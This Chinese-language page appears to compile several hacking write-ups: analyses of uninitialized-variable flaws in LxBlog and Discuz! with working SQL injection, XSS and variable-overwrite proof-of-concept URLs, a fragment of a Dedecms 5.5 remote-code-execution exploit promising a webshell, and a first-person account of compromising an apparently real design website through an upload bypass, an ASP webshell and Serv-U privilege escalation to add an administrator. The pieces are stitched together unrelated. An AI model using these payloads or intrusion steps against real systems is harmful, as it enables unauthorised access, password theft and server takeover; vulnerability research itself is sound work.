以下是小编帮大家整理的LxBlog变量未初始化漏洞(共含5篇),仅供参考,希望能够帮助到大家。同时,但愿您也能像本文投稿人“matsushita”一样,积极向本站投稿分享好文章。
影响版本:
LxBlog
程序介绍:
Lxblog 是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统,强调整站与用户个体间的交互,拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功能,
漏洞分析:
代码分析片段:
=======================code==================================
/user/tag.php
!function_exists('usermsg') && exit('Forbidden');
!in_array(0,$item_type) && exit;
//0、$item_type均没有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key =>$value) {
${'utf8_'.$key} = $value;
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
……//省略部分代码
}elseif($job==“modify”){
$tagnum=“{0}num”;
$touchtagdb=$db->get_one(“SELECT k.tags,i.uid FROM pw_{0} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'”);
//0带入查询语句操作数据库
$touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代码
=======================code==================================
在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 这样一段代码的限制,我们不能直接访问该文件,但是可以通过user_index.php来include这个文件执行,看具体代码
=======================code==================================
//user_index.php
……//省略部分代码
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');
if (!$action) {
……//省略部分代码
} elseif ($action && file_exists(R_P.“user/$action.php”)) {
$basename = “$user_file?action=$action”;
require_once(Pcv(R_P.“user/$action.php”));
//通过提交$action=tag即可以调用到存在漏洞的文件
}
……//省略部分代码
=======================code==================================
看到这个地方,应该已经可以触发该漏洞了,但是依然要考虑到是否会受到register_global的影响,幸好user_index.php在开始的时候包含了user/global.php这个文件,
=======================code==================================
//user/global.php
……//省略部分代码
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
//'blogdata','comment','itemcp','post','userinfo','global','top'
//我们提交的action=tag,不在上面这个数组里面,可以触发下面的代码成功绕过register_global的影响
foreach ($_POST as $_key =>$_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
}
foreach ($_GET as $_key =>$_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
}
}
……//省略部分代码
=======================code==================================
通过上面的分析,我们已经可以成功控制0和$item_type的值了,但是还要注意两个地方:
第一个地方是要满足 in_array(0,$item_type),我们通过直接将0和$item_type[]赋值为相同变量即可
lxblog的数据库容错代码
=======================code==================================
function DB_ERROR($msg) {
global $db_blogname,$REQUEST_URI;
$sqlerror = mysql_error;
$sqlerrno = mysql_errno();
//ob_end_clean();
echo“$db_blogname\n\n”;
echo“$msg”;
echo“
The URL Is:
$_SERVER[HTTP_HOST]$REQUEST_URI”;
echo“
MySQL Server Error:
$sqlerror ( $sqlerrno )”;
echo“
You Can Get Help In:
www.phpwind.net”;
echo“”;
exit;
}
=======================code==================================
函数直接将造成数据库错误的url返回给客户端,对输出未作任何过滤,造成了xss漏洞,
漏洞利用:
SQL注入测试:
=======================poc==================================
//判断uid=1的用户的密码第一位的ASCII值是否大于0
blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
=======================poc==================================
XSS测试:
=======================poc==================================
www.lxblog.net/user_index.php?action=tag&job=modify&type=[XSS]&item_type[]=[XSS]
=======================poc==================================
解决方案:
厂商补丁:
LxBlog
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
www.lxblog.net/
Flyh4t
bbs.wolvez.org
本文已经发表在 防线,请署名
Lxblog是 PHPWind 开发的一套基于 PHP+MySQL 数据库平台架构的多用户博客系统,强调整站与用户个体间的交互,拥有强大的个人主页系统、独立的二级域名体系、灵活的用户模板系统、丰富的朋友圈和相册功能,但是该blog系统在安全性上并不让人满意,本文就来分析lxblog一个变量未初始化造成的sql注入漏洞。
我们先来分析一下这个漏洞,看代码:
/user/tag.php
!function_exists('usermsg') && exit('Forbidden');
!in_array($type,$item_type) && exit;
//$type、$item_type均没有初始化
require_once(R_P.'mod/charset_mod.php');
foreach ($_POST as $key => $value) {
${'utf8_'.$key} = $value;
${$key} = $db_charset != 'utf-8' ? convert_charset('utf-8',$db_charset,$value) : $value;
}
if ($job == 'add') {
……//省略部分代码
}elseif($job==“modify”){
$tagnum=“{$type}num”;
$touchtagdb=$db->get_one(“SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'”);
//$type带入查询语句操作数据库
$touchtagdb['uid']!=$admin_uid && exit;
……//省略部分代码
当然,在文件的第一行有 !function_exists('usermsg') && exit('Forbidden'); 这样一段代码的限制,我们不能直接访问该文件,但是可以通过user_index.php来include这个文件执行,看具体代码
//user_index.php
……//省略部分代码
require_once(R_P.'user/global.php');
require_once(R_P.'user/top.php');
if (!$action) {
……//省略部分代码
} elseif ($action && file_exists(R_P.“user/$action.php”)) {
$basename = “$user_file?action=$action”;
require_once(Pcv(R_P.“user/$action.php”));
//通过提交$action=tag即可以调用到存在漏洞的文件
}
……//省略部分代码
看到这个地方,应该已经可以触发该漏洞了,但是依然要考虑到是否会受到register_global的影响,幸好user_index.php在开始的时候包含了user/global.php这个文件,看看这个文件为我们提供了什么
//user/global.php
……//省略部分代码
if (!in_array($action,array('blogdata','comment','itemcp','post','userinfo'))) {
//'blogdata','comment','itemcp','post','userinfo','global','top'
//我们提交的action=tag,不在上面这个数组里面,可以触发下面的代码成功绕过register_global的影响
foreach ($_POST as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_POST[$_key];
}
foreach ($_GET as $_key => $_value) {
!ereg('^\_',$_key) && strlen(${$_key})<1 && ${$_key} = $_GET[$_key];
}
}
……//省略部分代码
通过上面的分析,我们已经可以成功控制$type和$item_type的值了,但是还要注意两个地方:
第一个地方是要满足 in_array($type,$item_type),我们通过直接将$type和$item_type[]赋值为相同变量即可
第二个地方是要注意我们注射的语句
$touchtagdb=$db->get_one(“SELECT k.tags,i.uid FROM pw_{$type} k LEFT JOIN pw_items i ON i.itemid=k.itemid WHERE k.itemid='$itemid'”);
综合以上,我们构造出来盲注的代码如下
//判断uid=1的用户的密码第一位的ASCII值是否大于0
blog.xxx.com/user_index.php?action=tag&job=modify&type=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*&item_type[]=blog k LEFT JOIN pw_user i ON 1=1 WHERE i.uid =1 AND if((ASCII(SUBSTRING(password,1,1))>0),sleep(10),1)/*
通过浏览器返回的时间来判断是否猜解正确,如果是正确的话,浏览器返回的比较慢,近似假死状态,否则返回的就比较正常,
使用二分法不断猜解即可。另外,如果数据库版本较低,可以使用benchmark函数来盲注,具体的expliot就不提供了,有需要的可以自己写个代码跑跑,不是什么难事。
另外我们看下lxblog的数据库容错代码
function DB_ERROR($msg) {
global $db_blogname,$REQUEST_URI;
$sqlerror = mysql_error();
$sqlerrno = mysql_errno();
//ob_end_clean();
echo“$db_blogname\n\n”;
echo“$msg”;
echo“
The URL Is:
$_SERVER[HTTP_HOST]$REQUEST_URI”;
echo“
MySQL Server Error:
$sqlerror ( $sqlerrno )”;
echo“
You Can Get Help In:
www.phpwind.net”;
echo“”;
exit;
}
函数直接将造成数据库错误的url返回给客户端,对输出未作任何过滤,造成了xss漏洞,下面是我对官方的测试:
www.lxblog.net/user_index.php?action=tag&job=modify&type=&item_type[]=
Lxblog的漏洞就分析到这里了,这个漏洞的修补也很简单,只要在数据库查询语句前面将变量$item_type赋值为指定的数组就可以了。网上的PHP程序有不少都存在类似的漏洞,由于变量没有被正确的初始化,从而导致攻击者可以控制变量被改变程序的流程执行一些非法操作。其实这个问题并不复杂,保持一个良好的编码习惯,正确初始化类和变量即可杜绝此类漏洞。
author: 80vul-B
team:www.80vul.com
一 分析
文件include/common.inc.php里:
$magic_quotes_gpc = get_magic_quotes_gpc;
@extract(daddslashes($_COOKIE));
@extract(daddslashes($_POST));
@extract(daddslashes($_GET));
//覆盖变量,这里我们可以覆盖$_SERVER
if(!$magic_quotes_gpc) {
$_FILES = daddslashes($_FILES);
}
.....
if(getenv(HTTP_CLIENT_IP) && strcasecmp(getenv(HTTP_CLIENT_IP), unknown)) {
$onlineip = getenv(HTTP_CLIENT_IP);
} elseif(getenv(HTTP_X_FORWARDED_FOR) && strcasecmp(getenv(HTTP_X_FORWARDED_FOR), unknown)) {
$onlineip = getenv(HTTP_X_FORWARDED_FOR);
} elseif(getenv(REMOTE_ADDR) && strcasecmp(getenv(REMOTE_ADDR), unknown)) {
$onlineip = getenv(REMOTE_ADDR);
} elseif(isset($_SERVER[REMOTE_ADDR]) && $_SERVER[REMOTE_ADDR] && strcasecmp($_SERVER[REMOTE_ADDR], unknown)) {
$onlineip = $_SERVER[REMOTE_ADDR];
}
//提取ip,首先尝试getenv()取,如果失败就通过$_SERVER[]来取.
preg_match(“/[d.]{7,15}/”, $onlineip, $onlineipmatches);
//注意这个preg_match()的第3个参数$onlineipmatches并没有初始化,同时程序员没有判断preg_match函数的返回值,这样在某些特定情况下可能导致绕过正则的判断,
//可以任意构造$onlineipmatches.具体详见[PCH-002]里关于preg_match()的详细分析:www.80vul.com/pch/
$onlineip = $onlineipmatches[0] ? $onlineipmatches[0] : unknown;
unset($onlineipmatches);
利用iis下getenv()失效,然后通过extract()覆盖$_SERVER的变量,导致preg_match(“/[d.]{7,15}/”, $onlineip, $onlineipmatches);匹配失败,导致我们可以任意提交$onlineipmatches[].
二 利用
POC:
//在iis环境下
index.php?_SERVER[REMOTE_ADDR][]=1&onlineipmatches[]=80vul
三 补丁[fix]
可以看出来上面的漏洞需要几个条件:
1.需要iis环境,导致getenv()失效
2.需要覆盖$_SERVER的变量
3.preg_match()的变量没有初始化
所以我们的补丁围绕2,3来解决.Discuz!在5.50以后的版本中通过修补“2.需要覆盖$_SERVER的变量”,从而不受此漏洞影响:
foreach(array(_COOKIE, _POST, _GET) as $_request) {
foreach($$_request as $_key =>$_value) {
$_key{0} != _ && $$_key = daddslashes($_value);
}
}
//$_key{0} != _ 禁止了_开头的变量覆盖 :)
文/ Flyh4t
影响版本:Dedecms 5.5
漏洞产生文件位于include\dialog\select_soft_post.php,其变量$cfg_basedir没有正确初始化,导致可以饶
过身份认证和系统变量初始化文件,导致可以上传任意文件到指定目录,其漏洞利用前提是register_globals=on,可以通过自定义表单为相关
的变量赋值。代码如下:
---------- Dedecms v55 RCE Exploit Codz By flyh4t
----------
Select U Shell
It's just a exp for the bug of Dedecms V55...
Need register_globals = on...
Fun the game,get a webshell at /data/cache/fly.php...
无意中看见一个图形设计网站,网站全部由静态asp构成,做得十分漂亮,感叹它设计精美的同时,不由心里嘀咕,全静态asp页面的确能防止注入漏洞的产生,但WEB漏洞不止注入这一种,我很想看看这个网站在其他漏洞的防范方面做得如何。
在Google上搜索了一阵,翻到了这个网站的一个上传页面,发现它没有做验证,任何人都可以上传图片文件,于是决定从这里入手。试着上传.asp文件,直接跳出对话框(图1)
图1
查看源文件,可以看出是用JavaScript在本地做了限制。(图2)
图2
把源文件中的JavaScript代码全部删除,修改post的地址为绝对网址,之后另存为htm文件。再次上传.asp文件,几秒钟后出现结果如图3
图3
可以想到虽然程序没有禁止外部提交数据,但是文件在上传到服务器保存时又做了一遍验证,如果要保存的文件名后缀不合法,则拒绝执行。以下是源代码中的相关部分(图4)
图4
继续,上传一个正常的图片文件并抓包。(如图5、6)
图5
图6
把抓包得到的数据与上传页面的源文件相对照抓包数据,如图7
图7
源文件中对应部分如图8
图8
可以发现有很多隐藏的参数在里面,而这些参数的值默认都是空的。如果我们改变这些参数的值,结果会怎样呢?把源文件中的“hidden”改为“text”,如图9
图9
保存后打开,如图10
图10现在这些参数的值可以自己构造了
试验着改参数值上传了几次之后,摸到了一点规律。
把参数“mulu”对应的值改为asp.asp,试试上传gif后缀的asp小马
图11上传成功
图12
由抓包的数据中找到上传路径,提交看看,
图13
出现了可爱的画面。
可以想到这个上传程序的运行方式是,在处理参数“mulu”的值的时候,如果值不为空则创建,于是就在服务器上创建了一个“asp.asp”目录。
以下是源代码中的相关部分
图14
可以看到对提交的变量只是简单的把“/”转换成了“” ,其他没有做任何过滤,
这里即漏洞所在。
Win2003存在着一个文件解析路径的漏洞,当文件夹名为类似asp.asp的时候(即文件夹名看起来像一个ASP文件的文件名),此时此文件夹下的文本类型的文件都可以在IIS中被当做ASP程序来执行,因此我们上传的xiaoma.gif被作为asp程序执行了。
之后就是写个大点的webshell进去,如图15
图15结果出错,无法写入
图16
换了几个小马都是如此,看来不是小马的问题,可能FSO组件被禁用或者改名了。
直接上传大马不能执行
图17
图18
大概是服务器解析目录“asp.asp”的时候把这个目录当作了asp文件,因此出错。
为了看清楚些,把asp探针文件后缀改为gif传了上去。这么看就明白了。怎么突破呢?可以看到,虽然禁用了FSO组件,但是WScript.Shell组件和Shell.Application组件还在,我们可以用它们来读写文件,只要把用WScript.Shell组件或Shell.Application组件读写文件的webshell写到“asp.asp”以外的web目录里执行就可以了。
图19
图20
这里可以利用的写文件方法很多,如XML写文件,JMail写文件,ASPUpload上传都可以。这里我用ASPUpload上传。构造两个文件“本地提交用.htm”和“upload.gif”,代码如图21
图21
upload.gif上传到服务器,本地提交用.htm 用于本地打开提交上传文件。
图22
图23
成功上传海洋顶端木马到上一层目录,并可以正常使用。
图24
图25
服务器的权限设置不严,webshell可以浏览所有文件及目录,同时SERV-U为默认设置且没有设置管理密码,还是system启动服务运行的。
很容易地利用SERV-U提升权限,并添加管理员用户sai52
图26
图27
本次检测到这里就结束了。这个网站安全方面外紧内松,程序员和管理员都有责任,不过我个人认为,主要还是管理员的责任。
★ 变量的心情
★ 变量与函数说课稿
★ udev漏洞提升
★ 漏洞整改报告